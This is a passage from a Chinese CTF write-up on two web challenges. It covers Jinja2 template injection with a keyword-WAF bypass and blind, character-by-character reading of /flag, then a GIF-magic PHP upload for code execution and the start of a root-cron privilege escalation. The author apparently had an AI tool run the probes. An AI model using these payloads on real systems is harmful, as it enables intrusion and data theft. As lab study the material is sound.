session.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Preview helper: press_kit.attachment(filename, ticket)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;修改后脚本会贴在博客最后，另外利用 dsh 在常见出现 flag 的地方进行遍历，最终在 &lt;code&gt;/flag&lt;/code&gt; 发现了 flag，但是由于权限问题无法读取，先记下这个路径：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[!] read failed: Error: EACCES: permission denied, open &apos;/flag&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;先 GET &lt;code&gt;roster&lt;/code&gt; 可以得到：&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;assigned_to&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;seika&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;date&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;2026-07-27&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;duty&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;notice_review&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;id&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;shift-0727&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;status&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;open&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;assigned_to&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;nijika&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;date&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;2026-08-02&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;duty&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;live_check&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;id&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;shift-0802&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;status&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;open&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;assigned_to&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;ryo&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;date&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;2026-08-11&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;duty&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;budget_review&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;id&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;shift-0811&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;status&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;closed&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;展开&lt;/span&gt;&lt;span&gt;收起&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;然后猜测 claim 路径的省略号指代的应该就是 claim ，POST 后提示：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{ &lt;/span&gt;&lt;span&gt;&quot;error&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;dispatch ticket required&quot;&lt;/span&gt;&lt;span&gt; }&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;加上 GET 参数 &lt;code&gt;ticket=handoff-9c2e7b41&lt;/code&gt; 即可：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;ok&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;role&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;admin&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;此时登录账号发现自己已经变成了 &lt;code&gt;admin&lt;/code&gt; 身份，可以访问通知预览了。&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;注意如果直接 POST claim 会返回 &lt;code&gt;&quot;error&quot;: &quot;roster confirmation required&quot;&lt;/code&gt; ，此事在 &lt;code&gt;dispatch-note.txt&lt;/code&gt; 中亦有记载—— &lt;code&gt;Check roster before claiming; keep the same session.&lt;/code&gt;。&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;由于发出去的通知根本没有回显，有些没思路了，于是让 dsh 拿着 admin 身份跑了接口，根据 dsh 发现，当且仅当通知类型为 “临时公告” 即 &lt;code&gt;custom_stage_notice&lt;/code&gt; 时服务端会进行模板渲染，并且将渲染的成功与否以 &lt;code&gt;archived/failed&lt;/code&gt; 的状态返回，这也对应了后面出题人发的 hint ：&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;开发人员和店长说，预览不会直接回显渲染结果，但是他忘了清理返回的布尔状态&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;对了 dsh 还发现了如果直接访问或者是在网页端访问的话会提示需要 ticket ，解决方法是在请求体的 &lt;code&gt;variables&lt;/code&gt; 处增加一个字段 &lt;code&gt;ticket&lt;/code&gt; 并设值为 &lt;code&gt;handoff-9c2e7b41&lt;/code&gt; 即可。&lt;/p&gt;&lt;p&gt;尝试注入，发现 &lt;code&gt;__&lt;/code&gt; 、&lt;code&gt;import&lt;/code&gt; 等关键词返回 &lt;code&gt;&quot;error&quot;: &quot;notice body rejected by publishing policy&quot;&lt;/code&gt; ，则问题变成了 Jinja2 上下文 pyjail + 字符串 WAF 。&lt;/p&gt;&lt;p&gt;字符串很好绕过，我们可以使用比如 &lt;code&gt;&apos;o&apos;~&apos;s&apos;&lt;/code&gt; 来构造 &lt;code&gt;os&lt;/code&gt; 等黑名单里的字符串 ，使用 &lt;code&gt;.|attr()&lt;/code&gt; 来代替点号的调用。但是绕过这一层后就陷入了死胡同，所有常规的沙箱逃逸手段全部无效，甚至拿 dsh 对我知道的和我不知道的所有逃逸方法都跑了一遍，完全无法读到文件 &lt;code&gt;/flag&lt;/code&gt; 。&lt;/p&gt;&lt;p&gt;去请教出题人，出题人这时候给了个 hint ，才发现我漏掉了 &lt;code&gt;dispatch-note.txt&lt;/code&gt; 的最后一行：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Preview helper: press_kit.attachment(filename, ticket)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;也就是说沙箱里难道预留了一个工具函数可以读取文件？尝试以下代码：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{% if press_kit is defined %}OK{% else %}{{ 1/0 }}{% endif %}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{% if press_kit|attr(&apos;attachment&apos;) is callable %}OK{% else %}{{ 1/0 }}{% endif %}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{% if (press_kit.attachment(&apos;/f&apos;~&apos;lag&apos;, ticket)) is string %}OK{% else %}{{ 1/0 }}{% endif %}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{% if (press_kit.attachment(&apos;/f&apos;~&apos;lag&apos;, ticket)[0]) is defined %}OK{% else %}{{ 1/0 }}{% endif %}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;以上结果皆为成功，说明可以通过 &lt;code&gt;press_kit.attachment()&lt;/code&gt; 返回的字符串按下标一位一位进行布尔二分从而拿到 flag ，让 ds 写了相关代码，以 &lt;code&gt;{% if (press_kit.attachment(&apos;/f&apos;~&apos;lag&apos;, ticket)[i]) == &apos;T&apos; %}A{% else %}{{1/0}}{% endif %}&lt;/code&gt; 这种方式来将任何表达式的布尔转化为是否抛出异常，成功拿到 flag 。&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;这边要注意的是由于 flag 文件末尾存在换行符，所以在读到 &lt;code&gt;}&lt;/code&gt; 后还会读取出一位字符，需要注意程序的设计。&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;玛德莱娜小蛋糕&lt;a href=&quot;#玛德莱娜小蛋糕&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;整个页面只有一个上传 GIF 图片的操作空间，推测考点是图片木马。刚开始还是用 &lt;code&gt;copy /b&lt;/code&gt; 将真实 GIF 和 PHP Payload 拼接，后来一次偶然的尝试发现只需要在文件开头添加魔数 &lt;code&gt;GIF89a&lt;/code&gt; 即可绕过检验，省了一步 &lt;code&gt;copy&lt;/code&gt; 操作。&lt;/p&gt;&lt;p&gt;当上传包含 &lt;code&gt;&amp;lt;?php&lt;/code&gt;（大小写不敏感）时会发现类似 “管理员嗅到了浓浓的 php 味道” 之类的话，考虑绕过，尝试修改为 &lt;code&gt;&amp;lt;?=&lt;/code&gt; ，发现成功上传了，从而成功构造 RCE 。&lt;/p&gt;&lt;p&gt;下一步对系统进行分析，最后在根目录下发现 &lt;code&gt;flag&lt;/code&gt; ，发现是 &lt;code&gt;600&lt;/code&gt; ，拥有者是 &lt;code&gt;root&lt;/code&gt; ，而我们目前拿到的权限肯定是不够 &lt;code&gt;root&lt;/code&gt; 的，则下一步应该是提权。&lt;/p&gt;&lt;p&gt;在根目录发现了一个非常规文件 &lt;code&gt;entrypoint.sh&lt;/code&gt; 交给 ds 分析后得到了一个关键词是 &lt;code&gt;cron&lt;/code&gt; ，查询后得知这是 linux 的定时任务管理工具，于是尝试读取以下路径：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cat&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/crontab&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ls&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-la&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/cron.d/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/cron.hourly/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/cron.daily/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/cron.weekly/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/cron.monthly/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ls&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-la&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/var/spool/cron/crontabs/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;在 &lt;code&gt;/etc/cron.d/&lt;/code&gt; 中发现了以下内容：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;-rw-r--r-- 1 root root   99 Oct  3 13:11 teahouse-cleanup&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;读取后得到：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;* * * * * root /bin/bash /opt/teahouse/bin/clean_uploads.sh &amp;gt;&amp;gt; /var/log/teahouse-cleanup.log 2&amp;gt;&amp;amp;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;从而发现以 root 权限启动的定时任务并获得其内容：&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#!/bin/bash&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;set&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-u&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;UPLOAD_DIR&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;/var/www/html/storage/tmp&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;PROFILE_FILE&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;/var/lib/teahouse/cleanup.conf&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;&lt;span&gt; [ &lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;$UPLOAD_DIR&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; ]; &lt;/span&gt;&lt;span&gt;then&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;exit&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;fi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;&lt;span&gt; [ &lt;/span&gt;&lt;span&gt;-f&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;$PROFILE_FILE&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; ]; &lt;/span&gt;&lt;span&gt;then&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;source&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;$PROFILE_FILE&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;fi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# The teahouse keeps albums tidy by sweeping oversized or stale temporary desserts.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;$UPLOAD_DIR&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-size&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+&quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;MAX_UPLOAD_SIZE&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:-&lt;/span&gt;&lt;span&gt;&lt;span&gt;1M&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-delete&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;$UPLOAD_DIR&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-mmin&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+&quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;UPLOAD_TTL_MINUTES&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:-&lt;/span&gt;&lt;span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-delete&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;$UPLOAD_DIR&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt; 